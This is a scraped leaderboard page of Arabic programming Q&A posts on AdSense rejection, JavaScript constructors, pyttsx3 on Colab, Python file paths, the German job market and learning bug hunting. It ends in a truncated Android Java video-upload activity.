لوحة المتصدرين
المحتوى الأكثر حصولًا على سمعة جيدة
المحتوى الأعلى تقييمًا في 08/03/23 في كل الموقع
-
السلام عليكم انا مصرية و بسبب الوضع الإقتصادي حاليا فى طريقة أدفع بالجنيه المصري ولا لازم اللى يبقى على الفيزا دولارات و أسهل طرق الدفع لو سمحتم2 نقاط
-
السلام عليكم اخي الكريم انا اشتغلت على مدونة لمدة سنة ونصف وقدمه على أكثر من عشر مرات على ادسنس ولكن كل مرة يتم فرض المدونة ولدية دومين مدفوع وقالب مدفوع والكثير من المقالات ولا اعرف ماذا افعل اشعر بيأس واريد من حضرتك إذا كنت صاحب خبرة في ادسنس ان تقول لي ما هي المشاكل الموجودة في المدونة رابط المدونة: https://www.moneysite30.com/1 نقطة
-
let Person = function(name,age,job){ this.name=name, this.age=age, this.job=job, this.year=function(){ return 2023-this.age; } } let person = new Person ('Peter',35,'programmer'); console.log(person.year()); Add a method to the person object that calculates their birth year based on their age. ma2bol al7al hek ?1 نقطة
-
اريد ان اعمل في مجال اختبار تطبيقات الويب وخصوصا صائد ثغرات ما هي افضل دوره في اكاديمية حاسوب تؤهلني الي دخول هذا المجال ؟1 نقطة
-
السلام عليكم ورحمة الله وبركاته .. لدي معرفة مسبقة باساسيات الويب وبلغات برمجه اخري لم يتناولها الكورس مثل بايثون وكذلك بعض الادوات التي قد لا تتطرق اليها الدورة (لم اكمل الدورة بعد) ولكن ينقصني الدعم اللازم الذي يمكنني من اتخاذ الخطوة الاولي نحو العمل حبث اني لا اعلم الحد الادني اللازم الذي يمكنني من ذلك حتي لو عن طريق العمل الحر ... فما هو نوع الدعم الذي يمكن لمتخصصي حسوب مساعدتي به اثناء وبعد الدورة وهل يمكن ان اجد الدعم الذي ينقصني من هذه الدورة؟ ثانيا ارجو الافادة من خبراتكم هل يمكن للعمل الحر باساسيات دورة تطوير واجهة المستخدم ان يكون بديلا للعمل التقليدي في شركة من حيث العائد المادي والاستقرار النفسي؟ وشكرا جزيلا1 نقطة
-
السلام عليكم فين الخطاء لو سمحت في الكود ده import pyttsx3 engine = pyttsx3.init() engine.say("hello ali") engine.runAndWait() انا بشغل الكود ده علي Google Colab النتجيه كانت الكود ما شتغلش1 نقطة
-
سلام عليكم شباب. هل هذا الموقع يحتاج لقاعدة بيانات ؟ الموقع عبارة عن صفحة واحدة يعرض سعر الذهب. يتم استيراد الاسعار من مواقع اخرى عن طريق تجريف الويب لحظة بلحظة. ( الموقع يعرض اخر سعر فقط ولا يحفظ الاسعار السابقة ). عند كل تحديث في سعر المواقع الخارجية يتم تحديث السعر داخل الموقع تلقائيا هذا هو عمل الموقع فقط ولا يوجد أي ميزة أخرى1 نقطة
-
وعليكم السلام، في كل دورات الأكاديمية يوجد فريق متكامل يعمل بتنسيق عال على إجابة الطلبة عن تساؤلاتهم التي تطرأ عليهم خلال الدورة، ولمساعدتهم في حل مشاكلهم طوال الدورة. اذ أن أغلب الأسئلة يتم تقديم إجابة لها فور طرحها في مدة زمنية لا تتعدى في الغالب النصف ساعة - قد تأخذ بعض المشاكل المعقدة الأخرى أكثر قليلا. يتم ذلك عن طريق نشر الطالب لتعليق جديد في قسم يظهر أسفل كل فيديو هو قسم "تعليقات الطلبة"، ثم يتم الموافقة على نشر تعليق الطالب فورا ويهتم أحد المدربين النشطين حالا بتقديم إجابة له أو المتابعة معه. هاته هي الفكرة باختصار. تفاصيل: https://support.academy.hsoub.com/how-to-ask-in-courses1 نقطة
-
اطلعت على مدونتك، والغريب أن لديك محتوى طويل وقيم ومنظم والقالب مناسب للتصفح، فهل تلقيت سبب للرفض؟ وسأذكر لك الأسباب التي يتم رفض أي مدونة بسببها: المدونة لديك تحتوي على عدد من المقالات منخفض الجودة أو مسروق أو غير أصلي؟ مثلاً يحتوي أحد المقالات على نص مقتبس مباشرة من مقالة أخرى ولا يتوافق ذلك مع سياسة AdSense، التي تمنع منشئي المحتوى من عرض الإعلانات على محتوى مسروق أو غير أصلي. تحتوي المدونة أيضًا على عدد من القيود التي تجعلها غير مناسبة للإعلانات، مثلاً تحتوي المدونة على قسم "الإعلانات" الذي يتضمن رسالة تحث المستخدمين على إيقاف تشغيل AdBlock، كما تتضمن المدونة عددًا من التعليقات التي تدعو إلى حظر Google AdSense؟ تعاني المدونة أيضًا من عدد من المشكلات المتعلقة بجودة الموقع، أي مثلاً تحتوي المدونة على عدد كبير من الأخطاء النحوية واللغوية، كما أن التصميم ضعيف والمحتوى غير جذاب؟ تتطلب AdSense أن يكون موقعك على الويب نشطًا لمدة 30 يومًا على الأقل ولديه حركة مرور جيدة، وإذا لم يكن موقعك على الويب نشطًا لفترة كافية أو لا يحتوي على حركة مرور كافية، فقد يتم رفضه من AdSense. ولا تسمح AdSense بعرض الإعلانات على المحتوى الذي يعتبر غير لائق، مثل المحتوى الجنسي أو العنيف أو المثير للانزعاج. أيضًا لا تسمح AdSense بعرض الإعلانات على المحتوى الاحتيالي، مثل المحتوى الذي يحاول خداع المستخدمين أو الاحتيال عليهم. بالإضافة إلى أنه لا تسمح AdSense بعرض الإعلانات على المحتوى الذي تم حظر عرضه على AdSense، مثل المحتوى الذي ينتهك حقوق الطبع والنشر أو المحتوى الذي يحرض على العنف أو الكراهية. لا تسمح AdSense بعرض الإعلانات على المحتوى الذي لا يعتبر موثوقًا، مثل المحتوى الذي يحتوي على معلومات خاطئة أو مضللة. لا تسمح AdSense بعرض الإعلانات على المحتوى غير المكتمل، مثل المحتوى الذي لا يحتوي على محتوى كافٍ أو المحتوى الذي لا يحتوي على تصميم جيد.1 نقطة
-
1 نقطة
-
كل تشغيل لغوغل كولاب يتم فيه إنشاء بيئة جديدة، أي أن أي بيانات أو مكتبات تقوم بتنزيلها عليه ستختفي. لا يوجد حل من أجل المكتبات، عليك كل مرة تثبيتها، لا مشكلة في ذلك فهو سريع بالقيام بذلك، بشكل عام لن يأخذ أكثر من دقيقتين مهما كان حجم المكتبات.1 نقطة
-
تمام , شكرا حداا هعمل كد اناشاء الله وكمان انا بثبيت مكتبه علي غوغل كولاب واجي مثلا تاني يوم اشوف المكتبه القهي مش موجود هل فيه حل لحاجه زي كده ؟1 نقطة
-
يمكنك كتابة الكود محلياً ورفعه و تنفيذه على كولاب عندما تتحقق من أن كل شيء يعمل كما هو مطلوب، هذا في حال كنت تكتب كود كبير. أما في حال كان الكود بضعة أسطر أو تجارب مباشرة فطبعاً استعمال كولاب أحسن كونه أسرع، أيضاً عندما تريد تدريب نموذج تستعمل كولاب، و لكن التدريب النهائي و ليس فقط تجريب الكود إن كان يحوي مشاكل أم لا.1 نقطة
-
تما , بس انا الازم استخدم غوغل كولاب عشان انا اختارت اتعلم مجال تحليل البيانات وتعلم الاله ؟ شكراا1 نقطة
-
كما أخبرك قيس، أنت بحاجة إلى محرر أكواد، وفي حال كانت مواصفات الحاسوب لديك ضعيفة، فتستطيع استخدام بيئة عمل Codespaces وهي متاحة من خلال المتصفح من الرابط التالي: https://github.com/codespaces وبها نفس الخواص الخاصة ببرنامج vsocde نسخة سطح المكتب، وبالطبع عليك بتثبيت الإضافات الخاصة ببايثون وهي: https://marketplace.visualstudio.com/items?itemName=ms-python.python وتستطيع فتح التيرمنال (منفذ الأوامر) وتثبيت المكتبات التي تريدها، ولكن أنت بحاجة إلى إنشاء حساب GitHub.1 نقطة
-
صحيح يمكنك استخدام مكتبة pyttsx3 في Google Colab. لكن هناك بعض الخطوات التي يجب اتباعها للتأكد من أن المكتبة تعمل بشكل صحيح. أولاً قم بتثبيت المكتبة في كود Google Colab قبل استخدامها. يمكنك فعل ذلك عن طريق تنفيذ الامر التالي: !pip install pyttsx3 تحقق من أن الصوت قابل للتشغيل على Google Colab. ليست جميع المتصفحات والأجهزة قادرة على تشغيل الصوت في Google Colab. قد تحتاج إلى التحقق من ذلك على جهاز آخر أو استخدام متصفح آخر. الكود الذي قم بارساله صحيحًا ويعمل بشكل جيد عند استخدامه على جهاز محلي. إذا لم تعمل هذه الخطوات يمكن أن يكون المشكلة في قدرة Colab على تشغيل الصوت. في هذه الحالة يمكنك محاولة تشغيل الكود على جهاز محلي للتحقق مما إذا كانت المشكلة في الكود نفسه أم في قدرة المتصفح على تشغيل الصوت.1 نقطة
-
طالما لا تريد حفظ أي معلومات معينة فلا فكرة من وجود قاعدة البيانات، حيث أن قاعدة البيانات تستعمل لحفظ بيانات الموقع. مثلاً لو أردت الحفاظ على الأسعار القديمة لعرض مخططات توضح تغير السعر خلال الفترات الزمنية السابقةـ عندها ستحتاج إلى قاعدة بيانات بحيث يكون فيها تاريخ التحقق من السعر و السعر، عندها يمكنك استعمالها لعرض هذه المخططات. أيضاً في حال أردت أن يكون لديك مستخدمين مثلاً و ترسل لهم إشعارات عند تغير سعر الذهب، عندها تحتاج حتماً إلى قاعدة بيانات لتخزين معلومات المستخدمين لديك.1 نقطة
-
و عليكم السلام، غوغل كولاب ليس بيئة تطوير كود، و بالتالي لا تتوقع وجود هذه الميزات فيه، في حال كنت تريد كتابة كود مع ميزات إضافية مثل ألوان المتغيرات فعليك استعمال vscode أو pycharm أو أي برنامج آخر مماثل. أيضاً يمكنك إنشاء ملف على google colab بالكود الخاص بك و فتحه ضمن غوغل كولاب، عندها سيعطيك ألوانا للمتغيرات مختلفةـ و لكن غير قابلة للتعديل. مثلاً يمكنك كتابة كود معين داخل ملف اسمه test.py و من ثم تنفيذه عن طريق كتابة python /content/test.py1 نقطة
-
الإجابة باختصار هي: لا، لا يفترض أن يمتلك موقع بمثل هاته الوظيفية قاعدة بيانات، قد يكون من الضروري امتلاك واجهة خلفية للقيام بكل منطق التجريف وتنقيح البيانات، ولكن لا يبدوا لقاعدة البيانات هنا أي دور. قد يمكن استعمال قاعدة البيانات مثلا في أرشفة هاته الأسعار وعرضها كتأريخ لاحقا، وبما أنك ذكرت أن الموقع لا يحفظ الأسعار السابقة فهاته الجزئية هي الأخرى مستبعدة.1 نقطة
-
بالطبع بإمكانك استخدام مكتبة pyttsx3 في Google Colab، ولكن يجب عليك أولاً تثبيت المكتبة باستخدام الأمر التالي: !pip install pyttsx3 وبعد تثبيت المكتبة، تستطيع استخدامها في الكود، وكمثال الكود التالي سينطق النص "Hello Ali": import pyttsx3 engine = pyttsx3.init() engine.say("Hello Ali") engine.runAndWait() إذا لم تظهر نتيجة الكود على Google Colab، فتأكد من أنك قد قمت بتشغيل الخلية التي يحتوي عليها الكود، عن طريق النقر على رمز "تشغيل" في أعلى الخلية.1 نقطة
-
الحل صحيح، حيث أنك قمت بإنشاء دالة البناء Person التي تأخذ ثلاثة متغيرات (name, age, job) وتقوم بإنشاء كائن person من النوع Person باستخدام معامل الكلمة الجديدة new. ثم إضافة دالة تحسب السنة الحالية باستخدام العمر وتقوم بطباعة الناتج على الشاشة باستخدام console.log(). وإذا أردت تحسين الكود وتمرير تاريخ الميلاد الفعلي فسيكون كالتالي: let Person = function(name, birthDate, job) { this.name = name; this.birthDate = birthDate; this.job = job; this.year = function() { return 2023 - this.birthDate.getFullYear(); }; this.birthYear = function() { return this.birthDate.getFullYear(); }; }; let birthDate = new Date(1988, 0, 1); // قم بتعديل التاريخ هنا إلى تاريخ الميلاد الفعلي let person = new Person('Peter', birthDate, 'programmer'); console.log(person.year()); console.log(person.birthYear()); حيث قمت بتعديل دالة البناء Person لتأخذ birthDate بدلاً من age. ثم أنشأت كائن birthDate باستخدام new Date() مع تاريخ الميلاد الفعلي، والآن، يمكن للدوال year() و birthYear() استخدام هذا التاريخ لحساب العمر بدقة. ولتحسين الكود مرة أخرى لإضافة السنة الحالية بشكل تلقائي بدلاً من كتابة السنة 2023، نستخدم الدالة Date() بدون تمرير أي قيم للحصول على التاريخ الحالي، ثم استخدامها في حساب العمر وسنة الميلاد. let Person = function(name, birthDate, job) { this.name = name; this.birthDate = birthDate; this.job = job; this.year = function() { const currentYear = new Date().getFullYear(); return currentYear - this.birthDate.getFullYear(); }; this.birthYear = function() { return this.birthDate.getFullYear(); }; }; let birthDate = new Date(1988, 0, 1); // قم بتعديل التاريخ هنا إلى تاريخ الميلاد الفعلي let person = new Person('Peter', birthDate, 'programmer'); console.log(person.year()); console.log(person.birthYear()); حيث يتم الحصول على السنة الحالية تلقائيًا باستخدام new Date().getFullYear() دون تحديد أي تاريخ، وبذلك يتم ضمان دائمًا الحصول على السنة الحالية الصحيحة بغض النظر عن التاريخ الفعلي لتنفيذ البرنامج.1 نقطة
-
1 نقطة
-
جميع المجالات المذكورة مطلوبة في السوق العمل الأوروبي بشكل عام، بما في ذلك ألمانيا. ومع ذلك، يمكن أن يختلف الطلب على هذه المجالات تبعاً للاحتياجات الحالية للشركات والصناعات في كل دولة. في ألمانيا، تلاحظ أن الطلب على Java development عالي، حيث تستخدم العديد من الشركات تكنولوجيا Java في تطوير تطبيقات الأعمال والنظم الكبيرة. مجال mobile development أيضًا طلبه مرتفع في السوق العمل الأوروبي، حيث يزداد الاهتمام بتطوير تطبيقات الهواتف المحمولة والتجارة الإلكترونية المحمولة. بالنسبة لتطوير الذكاء الاصطناعي (AI development)، فإنه أيضًا يعد من المجالات المطلوبة حاليًا، حيث تتطلب العديد من الشركات الأوروبية استخدام تقنيات الذكاء الاصطناعي في تحليل البيانات وتطوير حلول ذكاء اصطناعي للتحديات التي تواجهها. إذا كنت مهتمًا بالعمل في ألمانيا أو غيرها من الدول الأوروبية، يمكن أن يكون لديك فرصة جيدة في أي من هذه المجالات. ومن المهم أيضًا الاطلاع على احتياجات السوق التي تتغير بمرور الوقت ومتابعة تطورات التكنولوجيا لضمان مهاراتك دائمًا محدثة ومناسبة للاحتياجات الحالية في السوق. من المفضل أن تقوم بالبحث عن الشركة التي ترغب في العمل بها وأن تتحقق من التقنيات التي تعتمد عليها هذه الشركة، بهدف تحديد التقنيات التي يجب تعلمها بدقة. بعد أن تقوم بالبحث عن الشركة التي تهتم بالانضمام إليها، يجب أن تركز على دراسة التقنيات التي تستخدمها هذه الشركة بدقة. هذا الاهتمام بالتفاصيل التقنية سيساعدك في فهم تطور الشركة ومدى تقدمها في مجال عملها. كما يمكن أن يساهم هذا البحث الدقيق في تحديد مدى توافق خبراتك ومهاراتك مع متطلبات الشركة، مما يساعدك في تقديم نفسك بطريقة أكثر فعالية أثناء المقابلة الشخصية. علاوة على ذلك، يمكن أن تساعدك معرفة التقنيات التي تستخدمها الشركة في التحضير لأي اختبار تقني قد تطلبه الشركة خلال عملية التوظيف. إذا كانت الشركة تعتمد على تقنيات معينة تتطلب معرفة خاصة، فيمكنك تحضير نفسك مسبقًا وتطوير مهاراتك في تلك التقنيات. وفي النهاية، يعكس البحث الدقيق عن الشركة وتقنياتها إلتزامك واهتمامك الحقيقي بالانضمام إلى فريقها. كما يمكن أن يزيد من فرص نجاحك في الحصول على الوظيفة المرغوبة. لذا، استثمر وقتك في البحث والتحضير بدقة قبل التقدم بطلب العمل.1 نقطة
-
استنادًا إلى اتجاهات سوق العمل الحالية في ألمانيا، فيما يلي تقييمي لأي مجال برمجة هو الأكثر طلبًا لعام 2023: يوجد طلب كبير جدًا على تطوير الذكاء الاصطناعي (AI) ومن المرجح أن يكون المجال الأكثر طلبًا. استثمرت ألمانيا بكثافة في البحث والتطوير في مجال الذكاء الاصطناعي، مع مبادرات رئيسية مثل صناعة 4.0 التي تستخدم الذكاء الاصطناعي. هناك طلب قوي على مهارات الذكاء الاصطناعي في المركبات ذاتية القيادة والروبوتات والخدمات المالية والرعاية الصحية والمزيد. الشركات الكبرى مثل BMW و SAP و Siemens و Bosch توظف جميعها مواهب الذكاء الاصطناعي. يوجد أيضًا طلب كبير جدًا على تطوير الهواتف المحمولة في ألمانيا بسبب انتشار الهواتف الذكية وتطبيقات الجوال. هناك طلب على مطوري Android و iOS في مختلف الصناعات. الشركات الناشئة في التكنولوجيا المالية ومصنعو السيارات يبحثون عن مطوري الجوال. ومع ذلك، فإن الطلب أقل قليلاً من الذكاء الاصطناعي. لا يزال هناك طلب ثابت ومستمر على تطوير Java، خاصة لتطوير الويب الخلفي وتطبيقات الشركات. مهارات Java مطلوبة من قبل أكبر أرباب العمل التقنيين الألمان. ومع ذلك، فإن الطلب غير عالٍ بقدر المجالات المتطورة مثل الذكاء الاصطناعي. لذلك، يمكن القول إن تطوير الذكاء الاصطناعي لديه أعلى طلب والمزيد من فرص العمل للمبرمجين في ألمانيا خلال العام المقبل. تطوير الجوال أيضاً قوي جداً. Java لا تزال تمثل فرصة مستقرة. ولكن الذكاء الاصطناعي يمثل المجال الأكثر توجهاً نحو المستقبل مع طلب كثيف على المواهب.1 نقطة
-
عليك باستيعاب أمر هام وهو، في لغة Python (وأي لغة برمجة أخرى)، تُستخدم المسارات (Paths) للإشارة إلى موقع الملفات أو الدلائل (المجلدات) في نظام الملفات، وهناك نوعان من المسارات التي يمكن استخدامها: المسار النسبي (Relative path) والمسار المطلق (Absolute path). المسار النسبي (Relative path) المسار النسبي هو مسار يُحدد موقع الملف أو المجلد بالنسبة إلى المجلد الحالي الذي يعمل فيه البرنامج، ويعتمد المسار النسبي على العلاقة بين موقع الملف والمجلد الحالي، ولا يشمل المسار النسبي أي جزء من المسار الكامل للمجلد الذي يحتوي عليه الملف. أي لنفرض أن لدينا التالي: المجلد الحالي (Current directory): /home/user/ وملف Python يسمى "script.py" موجود في المجلد /home/user/scripts/ وإن كنت تعمل في المجلد /home/user/ وتحتاج إلى استدعاء الملف "script.py" من داخل المجلد scripts باستخدام المسار النسبي، فسيكون المسار النسبي لهذا الملف هو: "scripts/script.py" أي يتم البحث عن الملف بداخل مجلد المشروع الرئيسي بناءًا على مكان الملف الذي تكتب من خلاله المسار. المسار المطلق (Absolute path) المسار المطلق هو مسار يحدد موقع الملف أو المجلد بشكل كامل من الجذر أو المسار الرئيسي للنظام، يشمل المسار المطلق جميع الدلائل اللازمة للوصول إلى الملف أو المجلد بغض النظر عن المجلد الحالي الذي يعمل فيه البرنامج. ولنفترض أن لدينا التالي: المجلد الرئيسي (Root directory): C:/users/ ويوجد ملف Python يسمى "script.py" موجود في المجلد C:/users/user/scripts وفي تلك الحالة، إن كنت تعمل في أي مكان داخل نظام الملفات وتريد استدعاء الملف "script.py" باستخدام المسار المطلق، فإن المسار المطلق لهذا الملف سيكون: "C:/users/user/scripts/script.py". وأسهل طريقة للحصول على المسار الكامل بدون مشاكل في نظام ويندوز، هي بالضغط على المجلد أو الملف بزر الفأرة الأيمن ثم إختيار copy as path وسيتم نسخ المسار المطلق ويمكنك استخدامه في الكود، كالتالي: وإليك الطريقة الصحيحة لكتابة ذلك في كود بايثون: أولاً نقوم بإنشاء متغير لحفظ المسار كالتالي: file_path = r"C:\users\user\documents\file.txt" من الضروري استخدام الـ "r" قبل علامات التبويب لتجنب تفسيرها على أنها حرف هروب. بعد كتابة المسار المطلق، يمكنك استخدام دالة فتح الملف في Python لفتح الملف. يُفضل استخدام الدالة open() لهذا الغرض، وإليك مثال يوضح كيفية فتح ملف نصي باستخدام المسار المطلق: file_path = r"C:\users\user\documents\file.txt" try: with open(file_path, 'r') as file: content = file.read() print(content) except FileNotFoundError: print("لم يتم العثور على الملف.") except Exception as e: print("حدث خطأ أثناء قراءة الملف:", e) وسيتم فتح الملف بالمسار المطلق file_path وقراءة محتواه، ثم سيتم طباعة محتوى الملف. إذا لم يتم العثور على الملف، سيتم طباعة رسالة تفيد بأن الملف غير موجود. وأي خطأ آخر خلال قراءة الملف سيتم طباعة رسالة تفيد بحدوث خطأ وتوضيح نوع الخطأ. ولمعلوماتك في نظام Linux أو macOS نكتب المسار كالتالي: file_path = "/home/user/documents/file.txt" تحتوي المسارات على شرطات مائلة (/) بدلاً من شرطات عكسية ()، كما هو الحال في نظام Windows، ولذلك لا نستخدم r.1 نقطة
-
ما هي الخطوات لتنزيل التطبيق على متجر play وكيفية الربح منه؟؟؟؟؟1 نقطة
-
صحيح سوف يتم شرح الخوادم وقواعد البيانات في دورة علوم الحاسوب ، كما أن هذه هي مسارات الدورة وبداخل هذه المسارات سوف يتم شرح الخوادم وقواعد البيانات:- مدخل إلى علوم الحاسوب أساسيات البرمجة أنظمة التشغيل ونظام لينكس قواعد البيانات إلى عالم الويب البرمجة كائنية التوجه الخوارزميات وبنى المعطيات أنماط التصميم أساسيات هندسة البرمجيات1 نقطة
-
مرحبا سيف الدين، يمكنك كتابة المسار المطلق هكذا، في البداية عرف متغير myFile ثانيا نستخدم الدالة open لفتح الملف وهيا تأخذ معاملين المسار و سبب فتح الملف مثلا القراءة او إضافة او الكتابة او انشاء، ثالثا ضع المسار الخاص بك داخل اقواس وعلامة تنصيص لا تنسي وضع حرف r قبل علامات التنصيص لأنك سوف تستخدم "\" back slash، myFile = open(r"C:\Users\Desktop\New folder\file_one.text", "r") ضع المسار الخاص بك.1 نقطة
-
هل يتم شرح الخوادم مثل الاباتشي وغيرها , في دورة علوم الحاسب والبروتوكولات الشائعه وطريقة استخدامها ام شرح نظري فقط وايضا قواعد البيانات وطريقه ربطها ب الموقع لانني منذ اكثر من 6 شهور وانا تائه احاول ان ادخل الي هذا المجال وسمعت العديد من الدورات علي اليوتيوب ولكن اشعر بانني لا افهم الكثير ارجو منك افادتي وشكرا لك قيس .1 نقطة
-
هناك العديد من الأمور عليك معرفتها قبل العمل في هذا المجال، أهمها أن تكون على إطلاع و معرفة جيدة بأساسيات الحاسوب، فكثير من المشاكل تحدث بسبب الاعتماد على شيء محدد في حاسوب ما، و لذلك بلا معرفة بأساسيات الحاسوب لن يمكنك اكتشاف الثغرات، لذلك دورة علوم الحاسوب ضرورية في حال لم تكن على إطلاع على محاورها. أيضاً لا يمكن اكتشاف الثغرات في تطبيق ما في حال لم تكن على علم بالتقنيات المستعملة في هذا التطبيق، ولو بشكل بسيط، فلا يمكنك اكتشاف ثغرات في شيء لا تعلم عنه شيئاً، لذلك عليك اختيار إحدى دورات تطبيقات الويب، حسب اللغة التي تريدها. و لكن لا يتم شرح هذا المفهوم بشكل مباشر في الدورات، كما سبق و أخبرتك هذا ضروري حتى تتعرف على تقنيات تطوير الويب. يمكنك الاستفادة من العرض الصيفي لأخذ دورتين في نفس الوقت.1 نقطة
-
معني كده ان صعب اشتغل فورنت اند خصوصان اني بتعلم جديد في مصر1 نقطة
-
@SuppressWarnings("ALL") public class uploadved extends AppCompatActivity implements difroved.ExampleDialogeListener { TextView uploader; RoundedImageView geter; VideoView vedgetr; MediaController mc; File file; String wasfst; String mohtst; String qul; int progstat = 0; int w; int h; TextView shertved; ImageView ext, imgvedto; EditText edtanwan, edtwasf; Spinner spmraddafo; BottomSheetDialog bottomSheetDialog; private RequestQueue rQueue; private static final int SELECT_VIDEO_REQUEST = 0; public Uri videoUri; String displayName; String Path; ExecutorService service; String enwanvido; int fileLength; Context context; String URLphp = "https://elokhtboot.com/okt/Nashr/uploadved.php"; boolean check = true; public Bitmap bitmap; ImageView trimVideo, slowmotion; TextView slowmotiontext; private ProgressBar progressBar; Dialog dila; Uri uritoupload; ////////////////ROTH test ///////////////////// int videoResolution; Uri inputPath ; String outputPath; int width = 576; int height = 1024; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_uploadved); geter = findViewById(R.id.geter); uploader = findViewById(R.id.uploader); vedgetr = findViewById(R.id.vedgetr); mc = new MediaController(uploadved.this); vedgetr.setMediaController(mc); geter.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { if (ContextCompat.checkSelfPermission(uploadved.this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) { selectVideo(); } else { ActivityCompat.requestPermissions(uploadved.this, new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE}, 1); } } }); uploader.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { if (videoUri != null) { bottomSheetDialog = new BottomSheetDialog(uploadved.this, R.style.BottomSheetDialogTheme2); View va = LayoutInflater.from(uploadved.this) .inflate(R.layout.veduploadbotorrsheet, uploadved.this.findViewById(R.id.btomCount)); bottomSheetDialog.getBehavior().setState(BottomSheetBehavior.STATE_EXPANDED); v.setMinimumHeight(Resources.getSystem().getDisplayMetrics().heightPixels); shertved = va.findViewById(R.id.shertved); ext = va.findViewById(R.id.ext); imgvedto = va.findViewById(R.id.imgvedto); edtanwan = va.findViewById(R.id.edtanwan); edtwasf = va.findViewById(R.id.edtwasf); spmraddafo = va.findViewById(R.id.spmraddafo); edtanwan.addTextChangedListener(new TextWatcher() { @Override public void beforeTextChanged(CharSequence s, int start, int count, int after) { } @Override public void onTextChanged(CharSequence s, int start, int before, int count) { enwanvido = edtanwan.getText().toString().trim(); Log.d("enwan", enwanvido); int t = enwanvido.length(); if (t > 1) { t = 1; } if (t > 40) { t = 250; } if (t > 250) { t = 250; } switch (t) { case 0: edtanwan.setBackgroundResource(R.drawable.backwrong); shertved.setVisibility(View.GONE); Toast.makeText(uploadved.this, "يجب اضافة عنوان للفيديو", Toast.LENGTH_SHORT).show(); break; case 1: edtanwan.setBackgroundResource(R.drawable.edenwanved); shertved.setVisibility(View.VISIBLE); shertved.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { uploadvideo(displayName, videoUri); } }); break; case 250: edtanwan.setBackgroundResource(R.drawable.backwrong); shertved.setVisibility(View.GONE); Toast.makeText(uploadved.this, "عدد الاحرف اكثر من اللازم", Toast.LENGTH_SHORT).show(); break; default: edtanwan.setBackgroundResource(R.drawable.edenwanved); shertved.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { uploadvideo(displayName, videoUri); } }); break; } } @Override public void afterTextChanged(Editable s) { } }); edtwasf.addTextChangedListener(new TextWatcher() { @Override public void beforeTextChanged(CharSequence s, int start, int count, int after) { } @Override public void onTextChanged(CharSequence s, int start, int before, int count) { wasfst = edtwasf.getText().toString().trim(); Log.d("enwan", wasfst); int t = wasfst.length(); if (t > 1) { t = 1; } if (t > 155) { t = 155; } switch (t) { case 0: edtwasf.setBackgroundResource(R.drawable.backwrong); shertved.setVisibility(View.GONE); break; case 1: edtwasf.setBackgroundResource(R.drawable.edenwanved); shertved.setVisibility(View.VISIBLE); shertved.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { uploadvideo(displayName, videoUri); } }); break; case 250: edtwasf.setBackgroundResource(R.drawable.backwrong); shertved.setVisibility(View.GONE); break; default: edtwasf.setBackgroundResource(R.drawable.edenwanved); shertved.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { uploadvideo(displayName, videoUri); ////Here is where the user can click to execute the upload order } }); break; } } @Override public void afterTextChanged(Editable s) { } }); spmraddafo.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() { @Override public void onItemSelected(AdapterView<?> parent, View view, int position, long id) { mohtst = parent.getItemAtPosition(position).toString(); } @Override public void onNothingSelected(AdapterView<?> parent) { mohtst = "غير ذلك"; } }); Glide.with(imgvedto).load(videoUri).into(imgvedto); ext.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { bottomSheetDialog.dismiss(); } }); bottomSheetDialog.setContentView(va); bottomSheetDialog.show(); } else { Toast.makeText(uploadved.this, "من فضلك قم باختيار فيديو", Toast.LENGTH_SHORT).show(); } } }); }//////////////////////////////////////////////////// // This method converts the video. /////////////////////////////////////////////////// private void selectVideo() { Intent intent = new Intent(Intent.ACTION_PICK); intent.setType("video/*"); intent.setAction(Intent.ACTION_GET_CONTENT); startActivityForResult( Intent.createChooser(intent, "Select Video"), SELECT_VIDEO_REQUEST); } @Override public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) { super.onRequestPermissionsResult( requestCode, permissions, grantResults); // check condition if (requestCode == 1 && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) { selectVideo(); } else { Toast.makeText(getApplicationContext(), "Permission Denied !", Toast.LENGTH_SHORT).show(); } } @Override protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { super.onActivityResult(requestCode, resultCode, data); if (requestCode == 100 && resultCode == RESULT_OK && data != null) { videoUri = data.getData(); displayName = String.valueOf(Calendar.getInstance().getTimeInMillis() + ".mp4"); MediaPlayer mp = MediaPlayer.create(this, videoUri); videoUri = data.getData(); String videoPath = videoUri.getPath(); Log.e("tyyyyy", videoPath); int duration = mp.getDuration(); mp.release(); String durationStr = String.format("%d", TimeUnit.MILLISECONDS.toSeconds(duration) - TimeUnit.MINUTES.toSeconds(TimeUnit.MILLISECONDS.toMinutes(duration))); String durationStr2 = String.format("%d", TimeUnit.MILLISECONDS.toMinutes(duration)); outputPath = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS) + "/" + "compressed_video.mp4"; width = 576; height = 1024; file=new File(videoUri.getPath()); String filePath = file.getAbsolutePath().toString(); inputPath=videoUri; Path=filePath; vedgetr.setVideoURI(videoUri); vedgetr.start(); Log.d("tyyyyy",filePath); /* try { resizeVideo(inputPath, outputPath, width, height); //vedgetr.setVideoPath(outputPath); // vedgetr.start(); } catch (IOException e) { throw new RuntimeException(e); }*/ /*String outputPath = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS) + "/" + "compressed_video.mp4"; String path = videoUri.getPath().toString(); MediaMetadataRetriever retriever = new MediaMetadataRetriever(); retriever.setDataSource(this,videoUri); String height = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT); Log.e("tyyyyy", "h"+height); String width = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH); Log.e("tyyyyy", "w"+width); int w = Integer.parseInt(width); int h = Integer.parseInt(height); int quality = w*h/1024 * 1024/1000; String qul= String.valueOf(quality); Log.e("tyyyyy", qul); // Display the video quality Log.e("tyyyyy", outputPath); file 